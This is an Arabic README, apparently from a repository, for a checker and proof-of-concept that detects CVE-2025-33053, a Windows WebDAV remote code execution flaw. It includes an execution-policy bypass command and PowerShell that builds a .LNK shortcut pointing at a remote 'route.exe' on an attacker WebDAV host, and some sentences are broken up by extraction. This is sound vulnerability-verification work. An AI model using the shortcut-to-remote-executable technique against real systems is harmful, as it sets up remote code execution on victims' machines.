
مدقق CVE-2025-33053 وPoC
إثبات عمل المدقق
إثبات عمل PoC
مجموعة متكاملة من الأدوات للتحقق من الاستغلال المحتمل للثغرة الأمنية CVE-2025-33053 وإظهاره، وهي ثغرة حرجة تسمح بتنفيذ التعليمات البرمجية عن بُعد (RCE) عبر WebDAV وتؤثر على أنظمة Windows.
تتيح الثغرة CVE-2025-33053 للمهاجمين استغلال ملفات الاختصارات .LNK التي تشير إلى مشاركات WebDAV ضارّة عن بُعد، مما قد يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) على الأنظمة المتأثرة.
.LNK..LNK مُصمَّم خصيصًا أو وصول مباشر إلى مسار UNC — يشير إلى مسار UNC بعيد مثل:.LNK أو تصفّح مسار UNC يدويًا (مثلًا عبر مستكشف الملفات): - تبدأ خدمة WebClient الاتصال بموقع UNC البعيد عبر WebDAV. - يرسل النظام طلب PROPFIND للاستعلام عن البيانات الوصفية من خادم المهاجم.CVE-2025-33053_checker.ps1)| الفحص | الغرض |
|---|---|
| 🔍 حالة خدمة WebClient | يتأكد من أن دعم WebDAV نشط وقيد التشغيل. |
| 🔍 معالجة مسار UNC عبر Test-Path | يختبر ما إذا كان النظام يحل مسارات UNC البعيدة عبر WebDAV (شرط مسبق رئيسي لاستغلال الثغرة). |
افتح PowerShell كمسؤول.
إذا كان تنفيذ البرامج النصية مقيدًا، شغّل:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
ما الذي يفعله:
الاستخدام:
python3 CVE-2025-33053_PoC.py --port 8000
\\<Kali-IP>@8000\DavWWWRoot\route.exe
.LNK يدويًا في Windows أو انتقل ببساطة إلى:\\<Kali-IP>@8000\DavWWWRoot\route.exe
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut("C:\Users\Public\CVE-2025-33053-Test.lnk")
$Shortcut.TargetPath = "\\<Kali-IP>@8000\DavWWWRoot\route.exe"
$Shortcut.Save()
[!] PROPFIND request received from <victim-ip> - Potential CVE-2025-33053 detected!
[!] Target system is VULNERABLE to CVE-2025-33053!
✔️ يستخدم حل مسار UNC حقيقيًا — بدون محاكاة. ✔️ يلتقط طلبات PROPFIND الفعلية التي يطلقها نظام التشغيل — وهو السلوك المحدد المطلوب لاستغلال الثغرة. ✔️ يقدم دليلًا حقيقيًا على مستوى الشبكة على وجود الثغرة، دون تنفيذ حمولات أو إلحاق أي ضرر.
لا يستغل إثبات المفهوم هذا النظام المستهدف أو يضر به — بل يكتشف فقط السلوك الضعيف الكامن وراء الثغرة. مخصص للاستخدام في بيئات خاضعة للتحكم أو بتفويض صريح. يعرض سلوك النظام الحقيقي — وليس محاكاة وهمية. للاستخدام التعليمي فقط. لا تشغّله على أنظمة غير مصرّح لك بها.
رخصة MIT — مجانية لأغراض التعليم والبحث والدفاع فقط.
طلبات السحب (Pull Requests) مرحب بها — حسّن الاكتشاف، أو أضف ميزات، أو اقترح إصلاحات.
هذا المستودع لأغراض التعليم والبحث الأمني المصرّح به فقط. يُمنع منعًا باتًا إساءة استخدامه ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها.